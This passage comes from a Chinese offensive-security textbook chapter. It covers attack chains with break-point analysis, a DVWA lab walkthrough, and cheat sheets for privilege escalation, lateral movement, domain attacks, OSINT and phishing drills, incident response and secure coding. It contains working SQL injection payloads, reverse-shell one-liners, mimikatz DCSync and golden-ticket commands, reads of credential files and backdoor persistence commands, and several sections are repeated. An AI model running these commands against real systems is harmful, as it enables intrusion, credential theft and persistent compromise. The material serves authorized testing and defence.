| 安全基线 | 防御思维 | 最小安全标准 | 加固+检查 |
一句话收束:黑话速查表 = "模型→场景→动作"三列归位——遇到任何词,先归位、找七寸、出动作,你就已经是个"看穿本质"的人了。
本质一句话:真实攻击很少是"一个漏洞打天下"——它们是多步组合链。把六条经典链从头到尾拆开,你就知道"攻击者为什么这么走、每一步为什么必须、断在哪一步就废"。
步骤: [1] 子域枚举 → 发现 dev.目标.com (测试环境) [2] 指纹 → Tomcat 8.0.53 (旧版) [3] CVE-2017-12615 (PUT写文件) → 上传 JSP webshell [4] 访问 webshell → 命令执行 (www-data) [5] 提权: sudo -l 发现 NOPASSWD find → 借sudo执行 → root 断点分析: 任何一步被拦(测试环境下线/升级Tomcat/最小权限) → 链断 修复清单: 关测试环境 / 升级组件 / 最小权限 / Web目录禁执行
步骤: [1] OSINT: 找员工邮箱 + 公司SSO登录页 [2] 构造: 仿"IT部门密码过期"邮件 + 假SSO页面(记录输入) [3] 投递: 发给目标员工 [4] 上钩: 员工在假SSO输密码 → 拿到真实账号密码 [5] 登录: 用真实凭据登录邮箱/内网 [6] 横向: 从邮箱找高价值资料/发内部钓鱼/找域管会话 断点分析: MFA(密码不够) / 员工不点(演练) / 邮件网关拦(相似域名) → 链断 修复清单: 全员MFA / 钓鱼演练 / 邮件网关 / SSO异常登录告警
步骤: [1] 拿到一台低权机器(Webshell/弱口令) [2] 信息收集: 网段/域/共享/开放端口 [3] 凭据收集: Mimikatz 抓到本地管理员 NTLM 哈希 [4] 横向: crackmapexec 用哈希打网段 → 多台本地管理员口令相同 → 批量沦陷 [5] 找到域管会话 → 拿域管凭据 [6] DCSync 拖域控哈希 → 金票 → 全网控制 断点分析: LAPS(本地口令不同) / 凭据保护(抓不到) / 分段(跳不出去) → 链断 修复清单: LAPS / 凭据保护 / 网络分段 / 域管会话监控
步骤: [1] 选择热门开源包 [2] 账号失陷/社工维护者/注册相似包名(typosquat) [3] 在包里植入后门(安装脚本回连C2) [4] 开发者装错/更新拉取 → 后门进入构建 [5] 构建产物带后门 → 分发用户/客户 → 批量沦陷 断点分析: 锁版本(不会自动更新) / 依赖审计(SBOM) / 镜像/包校验 → 链断 修复清单: SBOM / 锁版本 / 依赖审计 / 包签名校验
步骤: [1] GitHub 搜索目标相关代码 → 发现泄露的 AWS AK/SK [2] aws sts get-caller-identity 验证 → 有权限 [3] aws s3 ls → 存储桶数据; ec2 describe → 服务器 [4] 读取 S3 敏感数据 / 通过 EC2 进入云内网 [5] 横向: 其他云服务/数据库 断点分析: 密钥轮换(泄露就失效) / 最小角色(权限小) / 代码扫描(提前发现) → 链断 修复清单: 密钥不入代码 / 定期轮换 / 最小角色 / trufflehog 扫描
步骤: [1] 入口: 弱口令/钓鱼/RDP暴露/漏洞 [2] 进入后: 静默收集凭据+横向(拖时间找备份/域控) [3] 关闭备份/加密备份 [4] 全面加密数据 + 留勒索信 [5] 索要赎金(加密货币) 断点分析: 离线备份(有备份可恢复) / 分段+最小权限(横向慢) / 备份监控(被关就告警) → 链断 修复清单: 3-2-1备份(3份/2介质/1离线) / 分段 / 备份完整性监控 / 入口加固
一句话收束:六条真实攻击链 = "逐步走法 + 断点分析"——防御 = 让每一条链都有至少一个断点。
本质一句话:把第 26 章全部内容压缩成一张"本质地图"——十模型 + 三差 + 六口 + 六链 + 三问 + 检查表,全部在一张图上,随时回看。
| 章节 | 本质一句话 |
|---|---|
| 26.1 | 攻击起点=信息差(我知道你不知道) |
| 26.2 | 漏洞=信任的边界被跨越 |
| 26.3 | 攻击=信息差×信任差×资源差 |
| 26.4 | 入口=六类口子,数清楚=攻击面 |
| 26.5 | 90%攻击在脆弱性金字塔塔底 |
| 26.6 | 渗透=侦察→利用→提权→横向→收尾 |
| 26.7 | 认证三问=你是谁/能干啥/能否审计 |
| 26.8 | 注入=数据与命令的边界模糊 |
| 26.9 | 提权=权限阶梯+漏洞套娃 |
| 26.10 | 横向=信任半径的扩张 |
| 26.11 | 隧道=给被过滤流量穿合法外衣 |
| 26.12 | 恶意软件=一段被信任执行的代码 |
| 26.13 | 免杀=特征军备竞赛 |
| 26.14 | 社工=人类信任边界的利用 |
| 26.15 | 密码攻防=钥匙争夺战 |
| 26.16 | 供应链=信任链条的劫持 |
| 26.17 | 0day/N-day=补丁时间差 |
| 26.18 | 数据泄露=数据离开该待的地方 |
| 26.19 | 攻防=同一台机器的两双眼睛 |
| 26.20 | 侦察=把不知道打谁变成知道打哪里 |
| 26.21 | 漏洞利用=把缺陷变成武器 |
| 26.22 | 侦察/扫描/枚举=由远及近三步 |
| 26.23 | 日志监控=看得见攻击的唯一窗口 |
| 26.24 | 报告=证据链+修复清单 |
| 26.25 | 演练=有剧本的考试 |
| 26.26 | 渗透=安全与效率的平衡 |
| 26.27 | 工具链=模块化流水线 |
| 26.28 | 防御=纵深与分层 |
| 26.29 | 攻击手法=攻击者的决策树 |
| 26.30 | 十模型速查=一眼看穿 |
| 26.31 | 侦察命令手册=八步流水线 |
| 26.32 | Web六主线=判定表+四段式 |
| 26.33 | 内网域渗透=信任半径扩张 |
| 26.34 | 密码破解=猜人类不是解数学 |
| 26.35 | 逆向=静态骨架+动态验证 |
| 26.36 | 破解=校验点的藏与找 |
| 26.37 | 移动攻防=拆包看+跑起来看+改掉重打包 |
| 26.38 | 云攻防=凭证即权限,权限即资产 |
| 26.39 | 容器安全=镜像/运行时/编排三边界 |
| 26.40 | 社工=画像→诱饵→投递→上钩→变现 |
| 26.41 | 蓝队=资产/基线/监控/应急四件套 |
| 26.42 | 本质训练=事件→模型→动作 |
| 26.43 | 黑话速查=模型→场景→动作归位 |
| 26.44 | 六条攻击链=逐步走法+断点 |
| 26.45 | 本质地图=一张图看穿全部 |
一句话收束(第 26 章最终收尾):大道至简——攻击的本质是"信息差×信任差×资源差",防御的本质是"消除信息差、收紧信任差、压缩资源差"。记住这四十五节的一句话本质,你就能在任何安全事件面前:一眼看穿、立即归位、快速出招。模型比工具活得久,本质比术语走得远。
本质一句话:纸上谈兵十遍不如实战一遍——这一节用"完整记录"的方式,带你打穿一个标准 Web 靶场(DVWA/自建靶),每一步都有命令、有输出、有判断、有为什么。你照着走一遍,就把 26.31–26.32 的全部命令串成了真正的攻击链。
# 目标: 靶场 http://192.168.56.101 (自有靶场) # 1) 端口扫描 nmap -sV -sC 192.168.56.101 # 输出: 80/tcp open http Apache/2.4.7 (Ubuntu) # 22/tcp open ssh OpenSSH 6.6 # 3306/tcp open mysql MySQL 5.5.62 # 判断: 只开80(Web) + 22(SSH) + 3306(MySQL, 内网才有意义) # 2) Web 指纹 whatweb http://192.168.56.101 # 输出: Apache[2.4.7] PHP[5.5.9] ← PHP环境, 重点测PHP类漏洞 # 3) 目录枚举 ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.56.101/FUZZ -mc 200,301,302 # 发现: /login.php /dvwa /config /phpmyadmin /backup # 判断: /dvwa 是靶场入口; /phpmyadmin 是数据库管理(弱口令常客); /backup 可能是备份泄露
# 4) 尝试登录页弱口令 # admin / admin / password / 123456 ... # 靶场默认: admin / password → 直接登录成功(弱口令=塔底漏洞!) # 5) 找到注入点: "SQL Injection" 模块 # 输入 1 → 返回 id=1 的数据 # 测试 1' → 报错 → 注入点确认! # 测试 1' and 1=1 (正常) vs 1' and 1=2 (无结果) → 注入成立 # 6) 手工拖库(MySQL) # 列数: 1' order by 2-- - 正常; 1' order by 3-- - 报错 → 2列 # 回显位: 1' union select 1,2-- - # 数据库: 1' union select database(),2-- - → dvwa # 表: 1' union select table_name,2 from information_schema.tables where table_schema=database()-- - # → users # 字段: 1' union select column_name,2 from information_schema.columns where table_name='users'-- - # → user,password # 拖数据: 1' union select user,password from users-- - # → admin:5f4dcc3b5aa765d61d8327deb882cf99 (MD5: password) # 判断: MD5哈希=弱哈希 → 可秒破 → 但更值钱的是"拿到所有账号密码" # 7) 自动化对比(确认后): sqlmap -u "http://192.168.56.101/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=xxx; security=low" --dbs --batch
# 8) 命令注入模块
# 输入 127.0.0.1 → 正常ping
# 输入 127.0.0.1; id → 输出 uid=33(www-data) ← 命令注入!
# 输入 127.0.0.1 | whoami → www-data
# 反弹shell(靶场演示):
# 攻击机监听: nc -lvnp 4444
# 靶机执行: 127.0.0.1; nc -e /bin/sh 192.168.56.1 4444
# 或: 127.0.0.1; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.56.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# → 拿到交互shell (www-data)
# 9) 文件上传模块
# 上传 shell.php → 被拦(后缀黑名单)
# 绕过: shell.php5 / shell.phtml / 大小写 SHELL.PHP / 加空格
# 上传成功 → 访问路径 → 命令执行
# 上传内容:
# 10) 信息收集
id # www-data
uname -a # 内核版本
sudo -l # 有无sudo权限
find / -perm -4000 2>/dev/null # SUID程序
# 发现: /usr/bin/python3 有SUID? 或 sudo -l 有可执行项
# 常见靶场套路:
# - sudo -l: (ALL) NOPASSWD: /usr/bin/find → 用find执行命令:
# sudo find / -exec whoami \; → root
# - SUID python: ./python3 -c "import os;os.setuid(0);os.system('/bin/bash')"
# - 内核漏洞: uname 版本匹配exploit-db
# 11) 验证提权
whoami # root
# 拿到 /root/flag.txt → 打穿!
# 攻击路径: 弱口令登录 → SQL注入拖库 → 命令注入反弹shell → 提权root # 断点分析: # - 弱口令(MFA/强口令可断) # - SQL注入(参数化可断) # - 命令注入(白名单可断) # - SUID/sudo配置(最小权限可断) # 修复清单: 强口令+MFA / 参数化查询 / 命令白名单 / 最小权限+去SUID # 成果: 一份带证据链的渗透报告
一句话收束:一次完整打靶 = "弱口令→注入→命令注入→提权"四段链——每一步都有命令、有判断、有为什么;走一遍你就从"会背"变成"会打"。
本质一句话:把几千个 CVE 全部抽象到底,它们只有一个祖先——"系统对输入的信任超过了输入应有的权限"。一切漏洞,都是这个祖先的不同子孙:注入是信任了参数,提权是信任了低权进程,SSRF 是信任了 URL,反序列化是信任了数据流。
识别场景(把任意 CVE 归位到祖先):
| CVE/漏洞 | 它信任了什么 | 修复思维 |
|---|---|---|
| Log4Shell | 日志里的JNDI字符串 | 禁用JNDI/升级/白名单 |
| 永恒之蓝 | SMB协议实现 | 打补丁/关SMB |
| Heartbleed | TLS心跳请求 | 升级OpenSSL |
| Dirty Pipe | 内核文件写路径 | 打内核补丁 |
| 代理池漏洞 | HTTP代理头 | 校验X-Forwarded-For |
| 默认口令 | 出厂配置 | 强制改密 |
一句话收束:一切漏洞的共同祖先是"信任超过权限"——问一句"它凭什么被信任",你就站在了所有 CVE 的源头。
本质一句话:内网打的是"信任网络",命令是顺着信任链走的——这一节把内网/提权/域渗透的高频命令按"场景"排成速查手册,遇到对应场景直接抄。
# Linux id; whoami; hostname; ip addr sudo -l # 我能sudo什么? find / -perm -4000 2>/dev/null # SUID程序 cat /etc/passwd | grep -v nologin # 有哪些用户 history # 之前敲了什么 # Windows whoami /all whoami /priv # 令牌特权 net user # 用户 net localgroup administrators # 管理员组 ipconfig /all netstat -ano | findstr ESTABLISHED
# 1) 可写脚本/计划任务
ls -la /etc/cron*; ls -la /var/spool/cron
find / -writable 2>/dev/null | grep -v -E "proc|sys"
# 2) SUID 利用(查GTFOBins)
# python: ./python3 -c "import os;os.setuid(0);os.system('/bin/bash')"
# find: find / -exec whoami \;
# vim: vim -c ':!/bin/bash'
# 3) sudo 利用
sudo -l # 看到可执行的程序 → 查 GTFOBins
# 4) 内核漏洞
uname -a # 版本 → searchsploit/exploit-db 匹配
# 5) 凭据翻找
grep -ri "password" /home /var/www /etc 2>/dev/null | grep -v Binary
cat ~/.bash_history; cat /home/*/.ssh/id_rsa 2>/dev/null
# 1) 服务权限(Unquoted/可写服务) wmic service get name,pathname,startmode | findstr /i "auto" # 检查服务路径是否可写 → 替换EXE # 2) 注册表自启动(可写) reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run # 3) 令牌特权(SeImpersonate等) whoami /priv # 有 SeImpersonatePrivilege → 用 Potato家族提权 # 4) 未修补漏洞 systeminfo | findstr /i "OS" # 版本 → 匹配exp # 5) 明文凭据 findstr /si "password" *.txt *.xml *.ini 2>nul # 6) 可写服务DLL劫持
# 1) 存活+服务扫描 crackmapexec smb 10.10.1.0/24 nmap -sV -p 445,139,22,3389,80,443,3306,1433,8080 10.10.1.0/24 # 2) 凭据收集 # Windows内存: mimikatz "privilege::debug" "sekurlsa::logonpasswords" # 3) 密码喷洒(一个密码多账号) crackmapexec smb 10.10.1.0/24 -u users.txt -p "Passw0rd!" --continue-on-success # 4) PTH(哈希登录) crackmapexec smb 10.10.1.20 -u admin -H NTLMHASH # 5) 远程执行 psexec.py CORP/admin:Pass@10.10.1.20 wmiexec.py CORP/admin:Pass@10.10.1.20 atexec.py CORP/admin:Pass@10.10.1.20 "whoami"
# 1) 域信息 net view /domain; nltest /dclist:域名 # 2) 关系图(找路径) SharpHound.exe -c All → BloodHound 分析 # 3) 票据攻击 # AS-REP Roasting: Rubeus.exe asreproast → hashcat -m 18200 # Kerberoasting: Rubeus.exe kerberoast → hashcat -m 13100 # 4) 域控哈希 mimikatz.exe "lsadump::dcsync /domain:CORP /user:krbtgt" # 5) 金票 mimikatz.exe "kerberos::golden /user:x /domain:CORP /sid:S-1-5-21-XXX /krbtgt:HASH" "kerberos::ptt ticket.kirbi"
# Linux # 加用户: useradd -o -u 0 -g 0 -M -s /bin/bash backdoor; echo 'backdoor:密码' | chpasswd # 计划任务: echo "*/5 * * * * root /tmp/x.sh" >> /etc/crontab # SSH公钥: echo "公钥" >> /root/.ssh/authorized_keys # Windows schtasks /create /tn Updater /tr "C:\x\svc.exe" /sc onstart /ru SYSTEM # 服务: sc create backdoor binPath= "C:\x\svc.exe" start= auto # 注册表: reg add "HKLM\...\Run" /v Updater /d "C:\x\svc.exe"
一句话收束:内网命令速查 = "我是谁→提权→横向→域控→持久化"五场景——场景匹配 + 命令直抄,就是最快的实战上手。
本质一句话:威胁情报 = "让防御者知道攻击者知道什么"——你不是在防"未知",是在防"已知的已知 + 已知的未知";情报就是把后者变成前者。攻击者研究你,你也要研究攻击者:他们用什么手法、打什么系统、何时活跃。
识别场景(情报落地四步):
| 步骤 | 动作 | 工具/渠道 |
|---|---|---|
| 收集 | 订阅漏洞公告/威胁报告 | CVE/NVD/厂商公告/威胁情报平台 |
| 加工 | 评分排序(EPSS/CVSS) | EPSS API/自家SIEM |
| 映射 | 对自家资产比对 | 资产清单+SBOM |
| 行动 | 补丁/告警/狩猎/通报 | 补丁管理/SIEM规则 |
一句话收束:威胁情报 = 让防御者知道攻击者知道什么——收集→加工→映射→行动 四步闭环,情报才从"新闻"变成"防线"。
本质一句话:加密是"让别人读不懂",隐写是"让别人看不见"——加密把内容变成乱码,隐写把内容藏在正常东西里(图片/音频/流量)。攻防的本质都是"藏与找":攻击者藏,防御者找。
识别场景(隐写六种藏法):
| 藏法 | 藏在哪里 | 检测思路 |
|---|---|---|
| LSB 隐写 | 图片像素最低位 | StegExpose/Zsteg 分析 |
| 文件尾拼接 | 正常文件尾部加数据 | binwalk/文件尾部检查 |
| DNS 隧道 | DNS 查询名 | DNS 日志异常(长域名/高频) |
| HTTP 隐写 | 请求头/参数 | 流量基线+异常头 |
| 图片 EXIF | 图片元数据 | exiftool 检查 |
| 音频/视频 | 音频采样/视频帧 | 频谱分析/帧对比 |
binwalk 文件 看有没有隐藏数据/文件。exiftool 文件 看 EXIF/注释。zsteg 图片 检测 LSB 隐写。一句话收束:加密=读不懂,隐写=看不见——攻防都是"藏与找";防御者最好的武器是"行为基线"——藏得再自然,行为总会有差异。
本质一句话:OSINT 是"用公开信息拼出目标画像",社工是"用画像设计诱饵",演练是"用诱饵训练员工"——三者的本质是"信息→诱饵→训练"的递进,全部围绕"人"这个最薄弱的信任边界。
# 1) 子域与资产 subfinder -d 目标.com -all > subs.txt # 2) 邮箱收集 theHarvester -d 目标.com -b all # 3) GitHub 代码泄露(密钥/内网信息) # 在github.com搜索: "目标.com" password / api_key / internal # 本地仓库扫: gitleaks detect / trufflehog git file://. # 4) 泄露库交叉(授权评估) # haveibeenpwned API 查邮箱是否泄露(需API key) # 5) 历史网页/快照 # web.archive.org 查目标旧版页面(可能泄露路径/旧接口) # 6) 证书透明日志 # crt.sh 查子域(被动) curl -s "https://crt.sh/?q=%25目标.com&output=json" | jq -r ".[].name_value" | sort -u # 7) 网络测绘(被动) # Shodan: 搜索目标IP段/端口/产品 # FOFA/Hunter 类似
# 把OSINT结果整理成"画像卡": # 姓名/邮箱/职位/电话/社交/组织/习惯/常去网站/近期动态 # 画像卡用途: # - 钓鱼发件人仿冒(用真实姓名/职位) # - 诱饵主题定制(用真实项目/事件) # - 水坑投放(用常去网站) # 注意: 画像卡只用于防御演练/授权测试, 不得用于骚扰/诈骗
# 1) 安装 Gophish(演练框架) # 下载 → 解压 → 改 config.json 端口 → 启动 # 2) 配置发件 # SMTP: 用企业邮件网关(演练须批准) # 3) 建诱饵 # 模板: 仿"IT部门密码过期通知" + 假登录页(记录提交) # 主题: 【紧急】您的邮箱配额已满 # 正文: 请点击链接登录扩容, 否则今晚暂停服务 # 4) 建目标组 # 导入员工邮箱(演练名单) # 5) 发信+跟踪 # Gophish 统计: 打开率/点击率/凭证提交率 # 6) 收尾 # 立即销毁收集的凭证; 报告给安全团队; 对高危人群培训
# 假登录页(演练): # 用 Gophish 自带 landing page 或自建页面 # 页面仿公司SSO → 记录输入的账号密码(演练用, 立即销毁) # 检测点: 员工会不会看域名? 会不会交密码? # 二维码钓鱼: # 生成仿"快递/扫码领奖"二维码 → 指向演练页面 # 检测点: 员工扫不扫? 扫了会不会输入? # 语音钓鱼(可选): # 录制/实时冒充IT客服 → 索要验证码/密码 # 检测点: 员工会不会给?
# 复盘数据: # 打开率(邮件打开) / 点击率(链接点击) / 提交率(凭证提交) / 报告率(主动报告) # 关键指标: 提交率 和 报告率 # - 提交率下降 = 员工意识提升 # - 报告率上升 = 安全文化提升(最理想: 点了但报告了) # 培训: # 高危人群(重复中招) → 专项培训 # 全员 → 季度演练+微课 # 技术兜底: # 邮件网关过滤相似域名 # 全员MFA(密码被偷也进不去) # 异常登录告警(异地/新设备)
一句话收束:OSINT→画像→钓鱼演练→复盘培训 = "信息→诱饵→训练"的完整循环——演练不是抓人,是让"人"这层信任边界越来越难被攻破。
本质一句话:攻击者也是"理性经济人"——他选择"性价比最高"的攻击路径。防御的本质 = 让你的系统"攻击成本 > 攻击收益",让攻击者自动放弃。弱口令为什么被滥用?因为成本几乎为零。0day 为什么少用?因为成本极高。理解成本模型,你就理解攻防的"供需关系"。
识别场景(成本-收益对照表):
| 攻击路径 | 攻击成本 | 收益 | 防御(提高成本) |
|---|---|---|---|
| 弱口令爆破 | 极低 | 中 | MFA+限速+锁定 |
| 已知漏洞利用 | 低 | 高 | 补丁+版本管理 |
| 钓鱼 | 低-中 | 中-高 | 网关+演练+MFA |
| 0day | 极高 | 极高 | 纵深+行为监控 |
| 供应链 | 高 | 极高 | SBOM+审计 |
| 物理攻击 | 中-高 | 高 | 物理安全+USB管控 |
一句话收束:攻击者也是理性经济人——防御 = 让"攻击成本 > 攻击收益"自动成立,攻击者就会换目标。
本质一句话:安全编码 = "在写代码的那一刻就不制造信任越界"——参数化查询、白名单校验、输出编码、最小权限,这些不是"额外工作",而是"写代码的正确姿势"。修复成本随发现时间指数上升:编码时发现=几分钟,上线后被攻击=灾难。
识别场景(常见不安全写法 vs 安全写法):
| 不安全写法 | 漏洞 | 安全写法 |
|---|---|---|
| 字符串拼接SQL | SQLi | 参数化/ORM |
| 拼接shell命令 | 命令注入 | 白名单/禁用shell |
| innerHTML直接渲染 | XSS | textContent/转义 |
| eval/反序列化外部数据 | RCE | 禁eval/类型白名单 |
| 密码MD5存储 | 撞库 | bcrypt/Argon2 |
| 日志打明文密码 | 泄露 | 脱敏 |
| 硬编码密钥 | 逆向泄露 | 密钥管理/环境变量 |
| 接口不过鉴权 | 越权 | 服务端鉴权全覆盖 |
| 默认口令/调试开启 | 默认配置 | 强制改密/默认关调试 |
| 不过滤上传文件 | Webshell | 白名单+重命名+禁执行 |
一句话收束:安全编码 = 在源头消灭信任越界——参数化/白名单/输出编码/最小权限/默认安全,五原则就是"不制造漏洞"的写法。
本质一句话:威胁建模 = "在写代码/建系统之前,先像攻击者一样想一遍"——把系统拆成"资产→入口→信任边界→威胁→对策",在问题发生前把漏洞设计掉。防御的终极形态不是"补漏洞",是"设计上就没有漏洞"。
识别场景(STRIDE 六类威胁):
| 缩写 | 威胁 | 例子 | 对策 |
|---|---|---|---|
| S | 仿冒 Spoofing | 伪造身份/发件人 | 认证+MFA |
| T | 篡改 Tampering | 改数据/改包 | 签名+校验 |
| R | 否认 Repudiation | 做了不承认 | 日志+审计 |
| I | 泄露 Information | 数据被读 | 加密+权限 |
| D | 拒绝服务 DoS | 服务被打瘫 | 限流+冗余 |
| E | 提权 Elevation | 权限扩大 | 最小权限 |
一句话收束:威胁建模 = 先想攻击再写代码——在问题发生前把漏洞设计掉,是最便宜的防御。
本质一句话:应急响应 = "在攻击发生后,快速回答 谁、何时、做了什么、怎么进来的、还在不在"——日志分析是核心,取证是证据,响应是止损。这一节按"排查顺序"给命令,直接照着抄。
# 1) 最近登录 last -20 # 最近登录记录(用户/IP/时间) lastb -20 # 失败登录(爆破痕迹) # 2) 当前连接 ss -antp | grep ESTAB # 谁连着(可疑外连?) lsof -i | grep LISTEN # 谁在监听(可疑端口?) # 3) 进程 ps aux | sort -k3 -r | head -20 # CPU最高的进程(挖矿?后门?) # 4) 计划任务 crontab -l; ls -la /etc/cron* # 有没有新任务 # 5) 启动项/服务 systemctl list-units --type=service | grep -iE "susp|update|tmp" # 6) 新文件(近期修改) find / -mtime -3 -type f 2>/dev/null | grep -vE "proc|sys|var/log|usr" | head -50
# 1) 可疑请求(注入/上传/webshell)
grep -E "union|select|%27|/shell|cmd=|eval" /var/log/nginx/access.log | tail -50
# 2) 高频IP(爆破/扫描)
awk "{print \$1}" /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 3) webshell 特征
grep -rE "eval|system|exec|passthru|shell_exec" /var/www/ -l 2>/dev/null | head -20
# 4) 上传文件排查
find /var/www -name "*.php" -newer /var/www/index.html 2>/dev/null | head -20
# 5) 异常UA/异常方法
grep -E "curl|wget|python-requests|(^| )POST" /var/log/nginx/access.log | tail -30
# 1) 登录事件(4624=成功 4625=失败)
wevtutil qe Security /q:"*[System[(EventID=4624)]]" /c:50 /rd:true /f:text | findstr /i "Account"
# 2) 当前连接
netstat -ano | findstr ESTABLISHED
# 3) 可疑进程
tasklist /v | findstr /i "powershell wscript cscript cmd"
# 4) 自启动
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
schtasks /query /fo LIST | findstr /i "TaskName"
# 5) 服务
wmic service list full | findstr /i "PathName" | findstr /i "temp tmp"
# 6) 新文件
powershell Get-ChildItem C:\ -Recurse -File -ErrorAction SilentlyContinue | Where {$_.LastWriteTime -gt (Get-Date).AddDays(-3)} | Sort LastWriteTime | Select -First 50
# 1) 内存(进程/网络/明文凭据) # Windows: 转储 lsass + Volatility 分析 # Linux: /proc 快照 + 内存镜像 # 2) 磁盘快照 # 先只读挂载再拷贝(别污染现场) # dd if=/dev/sda of=disk.img bs=4M # 3) 日志外送副本 cp -a /var/log /evidence/logs # 4) 时间线 # 用文件时间戳+日志时间戳拼"攻击时间线" # 5) 证据完整性 sha256sum 证据文件 > evidence.hashes # 原则: 先保护现场(别乱动), 再取证据(只读), 记录操作(命令+时间)
# 1) 止损(第一优先!) # 隔离: 断网/下线/改口令 # 封禁攻击IP: iptables -A INPUT -s 攻击IP -j DROP # 2) 清除 # 删后门: 计划任务/服务/启动项/webshell/恶意进程 # 补漏洞: 升级/打补丁/改配置 # 3) 恢复 # 从干净备份恢复(确认无后门再上线) # 重置所有受影响凭据 # 4) 复盘 # 攻击路径? 检测盲区? 流程缺陷? → 改进项+责任人+期限
一句话收束:应急响应 = 快速回答"谁/何时/做了什么/怎么进的/还在不在"——排查按顺序抄命令,止损永远第一。
本质一句话:无线 = "数据在空气里飞"——Wi-Fi/蓝牙/NFC/RFID 的攻防本质是"截获、破解、伪造、中继"看不见的信号。无线边界没有"门",只有"电波"。
识别场景(无线四类攻击):
| 类别 | 攻击 | 识别/验证 | 防御 |
|---|---|---|---|
| Wi-Fi | WPA握手爆破/钓鱼AP/Evil Twin | airmon-ng 抓握手到 hashcat 爆破 | WPA3/强口令/802.1X |
| 蓝牙 | 窃听/BlueBorne/注入 | BlueZ 工具/漏洞扫描 | 关闭不用的蓝牙 |
| NFC/RFID | 克隆门禁卡/闪付盗刷 | 读卡器+克隆验证(自有卡) | 加密卡/动态码 |
| SDR | 遥控/传感器/对讲机截获 | HackRF/RTL-SDR 收频段 | 加密+跳频 |
airmon-ng start wlan0 进入监听模式。airodump-ng wlan0mon --bssid 目标 --channel 6 -w cap(配合 deauth 抓握手)。hashcat -m 22000 cap.hccapx rockyou.txt。一句话收束:无线 = 看不见的边界——电波无门,防御靠"加密+管控";攻击靠"截获+破解+伪造"。
本质一句话:OSINT 是"用公开信息拼出目标画像",社工是"用画像设计诱饵",演练是"用诱饵训练员工"——三者的本质是"信息到诱饵到训练"的递进,全部围绕"人"这个最薄弱的信任边界。
# 1) 子域与资产 subfinder -d 目标.com -all > subs.txt # 2) 邮箱收集 theHarvester -d 目标.com -b all # 3) GitHub 代码泄露(密钥/内网信息) # 在github.com搜索: "目标.com" password / api_key / internal # 本地仓库扫: gitleaks detect / trufflehog git file://. # 4) 泄露库交叉(授权评估) # haveibeenpwned API 查邮箱是否泄露(需API key) # 5) 历史网页/快照 # web.archive.org 查目标旧版页面(可能泄露路径/旧接口) # 6) 证书透明日志 # crt.sh 查子域(被动) curl -s "https://crt.sh/?q=%25目标.com&output=json" | jq -r ".[].name_value" | sort -u # 7) 网络测绘(被动) # Shodan: 搜索目标IP段/端口/产品 # FOFA/Hunter 类似
# 把OSINT结果整理成"画像卡": # 姓名/邮箱/职位/电话/社交/组织/习惯/常去网站/近期动态 # 画像卡用途: # - 钓鱼发件人仿冒(用真实姓名/职位) # - 诱饵主题定制(用真实项目/事件) # - 水坑投放(用常去网站) # 注意: 画像卡只用于防御演练/授权测试, 不得用于骚扰/诈骗
# 1) 安装 Gophish(演练框架) # 下载 -> 解压 -> 改 config.json 端口 -> 启动 # 2) 配置发件 # SMTP: 用企业邮件网关(演练须批准) # 3) 建诱饵 # 模板: 仿"IT部门密码过期通知" + 假登录页(记录提交) # 主题: 【紧急】您的邮箱配额已满 # 正文: 请点击链接登录扩容, 否则今晚暂停服务 # 4) 建目标组 # 导入员工邮箱(演练名单) # 5) 发信+跟踪 # Gophish 统计: 打开率/点击率/凭证提交率 # 6) 收尾 # 立即销毁收集的凭证; 报告给安全团队; 对高危人群培训
# 假登录页(演练): # 用 Gophish 自带 landing page 或自建页面 # 页面仿公司SSO -> 记录输入的账号密码(演练用, 立即销毁) # 检测点: 员工会不会看域名? 会不会交密码? # 二维码钓鱼: # 生成仿"快递/扫码领奖"二维码 -> 指向演练页面 # 检测点: 员工扫不扫? 扫了会不会输入? # 语音钓鱼(可选): # 录制/实时冒充IT客服 -> 索要验证码/密码 # 检测点: 员工会不会给?
# 复盘数据: # 打开率(邮件打开) / 点击率(链接点击) / 提交率(凭证提交) / 报告率(主动报告) # 关键指标: 提交率 和 报告率 # - 提交率下降 = 员工意识提升 # - 报告率上升 = 安全文化提升(最理想: 点了但报告了) # 培训: # 高危人群(重复中招) -> 专项培训 # 全员 -> 季度演练+微课 # 技术兜底: # 邮件网关过滤相似域名 # 全员MFA(密码被偷也进不去) # 异常登录告警(异地/新设备)
一句话收束:OSINT到画像到钓鱼演练到复盘培训 = "信息到诱饵到训练"的完整循环——演练不是抓人,是让"人"这层信任边界越来越难被攻破。
本质一句话:攻击者也是"理性经济人"——他选择"性价比最高"的攻击路径。防御的本质 = 让你的系统"攻击成本大于攻击收益",让攻击者自动放弃。弱口令为什么被滥用?因为成本几乎为零。0day 为什么少用?因为成本极高。理解成本模型,你就理解攻防的"供需关系"。
识别场景(成本-收益对照表):
| 攻击路径 | 攻击成本 | 收益 | 防御(提高成本) |
|---|---|---|---|
| 弱口令爆破 | 极低 | 中 | MFA+限速+锁定 |
| 已知漏洞利用 | 低 | 高 | 补丁+版本管理 |
| 钓鱼 | 低到中 | 中到高 | 网关+演练+MFA |
| 0day | 极高 | 极高 | 纵深+行为监控 |
| 供应链 | 高 | 极高 | SBOM+审计 |
| 物理攻击 | 中到高 | 高 | 物理安全+USB管控 |
一句话收束:攻击者也是理性经济人——防御 = 让"攻击成本大于攻击收益"自动成立,攻击者就会换目标。
本质一句话:安全编码 = "在写代码的那一刻就不制造信任越界"——参数化查询、白名单校验、输出编码、最小权限,这些不是"额外工作",而是"写代码的正确姿势"。修复成本随发现时间指数上升:编码时发现=几分钟,上线后被攻击=灾难。
识别场景(常见不安全写法 vs 安全写法):
| 不安全写法 | 漏洞 | 安全写法 |
|---|---|---|
| 字符串拼接SQL | SQLi | 参数化/ORM |
| 拼接shell命令 | 命令注入 | 白名单/禁用shell |
| innerHTML直接渲染 | XSS | textContent/转义 |
| eval/反序列化外部数据 | RCE | 禁eval/类型白名单 |
| 密码MD5存储 | 撞库 | bcrypt/Argon2 |
| 日志打明文密码 | 泄露 | 脱敏 |
| 硬编码密钥 | 逆向泄露 | 密钥管理/环境变量 |
| 接口不过鉴权 | 越权 | 服务端鉴权全覆盖 |
